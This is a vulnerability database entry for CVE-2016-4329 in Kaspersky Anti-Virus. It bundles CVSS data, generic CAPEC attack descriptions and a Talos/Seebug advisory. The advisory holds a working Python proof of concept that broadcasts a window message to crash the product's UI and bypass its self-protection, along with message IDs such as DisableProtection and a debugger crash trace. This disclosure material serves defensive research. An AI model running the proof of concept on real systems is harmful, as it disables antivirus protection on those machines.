Vulnerabilities > CVE-2016-4329 - Improper Input Validation vulnerability in Kaspersky Anti-Virus, Internet Security and Total Security
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
NONE Integrity impact
NONE Availability impact
HIGH Summary
A local denial of service vulnerability exists in window broadcast message handling functionality of Kaspersky Anti-Virus software. Sending certain unhandled window messages, an attacker can cause application termination and in the same way bypass KAV self-protection mechanism.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 3 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
Seebug
bulletinFamily | exploit |
description | ### Summary An local denial of service vulnerability exists in window broadcast message handling functionality of Kaspersky Anti-Virus software. Sending certain unhandled window messages, attacker can cause application termination and in the same way bypass KAV self-protection mechanism. ### Tested Versions Kaspersky Total Security 16.0.0.614 ### Product URLs http://www.kaspersky.com/ ### Details Broadcast window messages are used by AVP protocol to certain actions trigger in Kaspersky AntiVirus such as switching current application tab to scan, tools, settings, etc. The below dispatcher code is responsible for calling appropriate handlers. The handlers for the `wParam` values listed result in termination of the Kaspersky AVP user application and protection bypass. ``` .text:56DB4150 sub_56DB4150 proc near .text:56DB4150 .text:56DB4150 push esi .text:56DB4151 mov esi, ecx .text:56DB4153 cmp eax, 1Dh ; switch 30 cases .text:56DB4156 ja loc_56DB42DD ; jumptable 671F415C default case .text:56DB415C jmp ds:off_56DB42E8[eax*4] ; switch jump (...) ParentalControl - 7 DisableParentalControl - 8 DisableProtection - 14 EnableProtection - 15 Reboot - 16 SilentUpdateOpen - 17 SilentUpdateInfo - 18 SilentUpdateCancel - 19 ``` ### Proof of Concept ``` import win32con import win32api messageName = "Kaspersky Anti-Virus" def crash_avpui(): msgID = win32api.RegisterWindowMessage(messageName) wParam = 8 # one of crashing IDs lParam = 0 print "[+] Sending message : Msg : 0x%x wParam : 0x%x" % (msgID,wParam) win32api.PostMessage(win32con.HWND_BROADCAST,msgID,wParam,lParam) print "[+] Message sent" if __name__ == "__main__": crash_avpui() ``` ### Crash analysis ``` 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for avpuimain.dll - *** ERROR: Module load completed but symbols could not be loaded for avpui.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for DumpWriter.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for instrumental_services.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for ushata.dll - FAULTING_IP: KERNELBASE!RaiseException+58 7565b760 c9 leave EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 7565b760 (KERNELBASE!RaiseException+0x00000058) ExceptionCode: e0434352 (CLR exception) ExceptionFlags: 00000001 NumberParameters: 5 Parameter[0]: 80070057 Parameter[1]: 00000000 Parameter[2]: 00000000 Parameter[3]: 00000000 Parameter[4]: 6ea50000 DEFAULT_BUCKET_ID: WRONG_SYMBOLS PROCESS_NAME: avpui.exe ERROR_CODE: (NTSTATUS) 0xe0434352 - <Unable to get error code text> EXCEPTION_CODE: (NTSTATUS) 0xe0434352 - <Unable to get error code text> EXCEPTION_PARAMETER1: 80070057 EXCEPTION_PARAMETER2: 00000000 EXCEPTION_PARAMETER3: 00000000 EXCEPTION_PARAMETER4: 0 NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 APP: avpui.exe MANAGED_STACK: !dumpstack -EE No export dumpstack found PRIMARY_PROBLEM_CLASS: WRONG_SYMBOLS BUGCHECK_STR: APPLICATION_FAULT_WRONG_SYMBOLS_CLR_EXCEPTION LAST_CONTROL_TRANSFER: from 6eb7d135 to 7565b760 STACK_TEXT: 0012e97c 6eb7d135 e0434352 00000001 00000005 KERNELBASE!RaiseException+0x58 0012ea18 6eb7db8c 00000000 019ac3a0 0012eb98 clr!RaiseTheExceptionInternalOnly+0x27c 0012eae0 0f88498c 1144adc8 1144add4 00000000 clr!IL_Throw+0x138 WARNING: Frame IP not in any known module. Following frames may be wrong. 0012ebe0 772b22a5 00000000 0000000f 0012ebfc 0xf88498c 0012ebf0 015ae23e 6c0f323d 0012ec24 0ebc3615 ntdll!LdrGetProcedureAddress+0x18 0012ec14 6ea512cc 00000000 0012f290 0012ec90 0x15ae23e 0012ec24 646e6687 0000000f 00000000 0000000f clr!IJWNOADThunkJumpTarget+0x15 0012ec90 646f8444 0148b4c0 0000000f 00000000 avpuimain!SoundPlayW+0x10d87 0012ecf4 6470d435 0000000f 00000000 0012ed38 avpuimain!SoundPlayW+0x22b44 0012ed04 6471fea4 0147ad58 0000000f 00000000 avpuimain!SoundPlayW+0x37b35 0012ed38 6471fdc2 0012ee98 0012ed5b 00246317 avpuimain!SoundPlayW+0x4a5a4 0012ed6c 646d0428 0012eda0 002463e3 0147acf8 avpuimain!SoundPlayW+0x4a4c2 0012ed98 646fb491 0146a2b8 0146a240 0012ee10 avpuimain+0x20428 0012eeb8 646d988f 0000000f 00000000 0000800a avpuimain!SoundPlayW+0x25b91 0012eef8 646d99a7 0012ef54 0000800a 0000000f avpuimain!SoundPlayW+0x3f8f 0012ef60 75a1c4e7 00010166 0000800a 0000000f avpuimain!SoundPlayW+0x40a7 0012ef8c 75a1c5e7 646d9930 00010166 0000800a user32!InternalCallWinProc+0x23 0012f004 75a1cc19 00000000 646d9930 00010166 user32!UserCallWinProcCheckWow+0x14b 0012f064 75a1cc70 646d9930 00000000 0012f138 user32!DispatchMessageWorker+0x35e 0012f074 646f0617 0012f090 00247f43 75a137d8 user32!DispatchMessageW+0xf 0012f138 646f0b16 00247c7b 0012f308 0012f290 avpuimain!SoundPlayW+0x1ad17 0012f200 646f0282 00247c1f 00000000 0012f274 avpuimain!SoundPlayW+0x1b216 0012f264 646d3bee 0012f290 0012f844 0068002d avpuimain!SoundPlayW+0x1a982 0012f7c8 001f15f3 001f0000 00000000 002619a0 avpuimain!Execute+0x8e 0012f848 001f3108 001f0000 00000000 002619a0 avpui+0x15f3 0012f8d8 75973c45 7ffd3000 0012f924 772b37f5 avpui+0x3108 0012f8e4 772b37f5 7ffd3000 77227104 00000000 kernel32!BaseThreadInitThunk+0xe 0012f924 772b37c8 001f315b 7ffd3000 00000000 ntdll!__RtlUserThreadStart+0x70 0012f93c 00000000 001f315b 7ffd3000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~0s; .ecxr ; kb FOLLOWUP_IP: clr!IJWNOADThunkJumpTarget+15 6ea512cc 85c0 test eax,eax SYMBOL_STACK_INDEX: 6 SYMBOL_NAME: clr!IJWNOADThunkJumpTarget+15 FOLLOWUP_NAME: MachineOwner MODULE_NAME: clr IMAGE_NAME: clr.dll DEBUG_FLR_IMAGE_TIMESTAMP: 5584e56f FAILURE_BUCKET_ID: WRONG_SYMBOLS_e0434352_clr.dll!IJWNOADThunkJumpTarget BUCKET_ID: APPLICATION_FAULT_WRONG_SYMBOLS_CLR_EXCEPTION_clr!IJWNOADThunkJumpTarget+15 WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avpui_exe/16_0_0_625/55b135da/KERNELBASE_dll/6_1_7601_17514/4ce7b8f0/e0434352/0000b760.htm?Retriage=1 Followup: MachineOwner --------- ``` ### Timeline * 2016-03-17 - Discovery * 2016-04-29 - Reported * 2016-09-05 - Released |
id | SSV:96674 |
last seen | 2017-11-19 |
modified | 2017-10-13 |
published | 2017-10-13 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-96674 |
title | Kaspersky Anti-Virus Unhandled Windows Messages Denial of Service Vulnerability(CVE-2016-4329) |
Talos
id | TALOS-2016-0175 |
last seen | 2019-05-29 |
published | 2016-09-05 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0175 |
title | Kaspersky Anti-Virus Unhandled Windows Messages Denial of Service Vulnerability |
References
- http://www.securityfocus.com/bid/92771/info
- https://support.kaspersky.com/vulnerability.aspx?el=12430#010916
- http://www.securityfocus.com/bid/92771
- http://www.securityfocus.com/bid/92771
- http://www.talosintelligence.com/reports/TALOS-2016-0175/
- http://www.talosintelligence.com/reports/TALOS-2016-0175/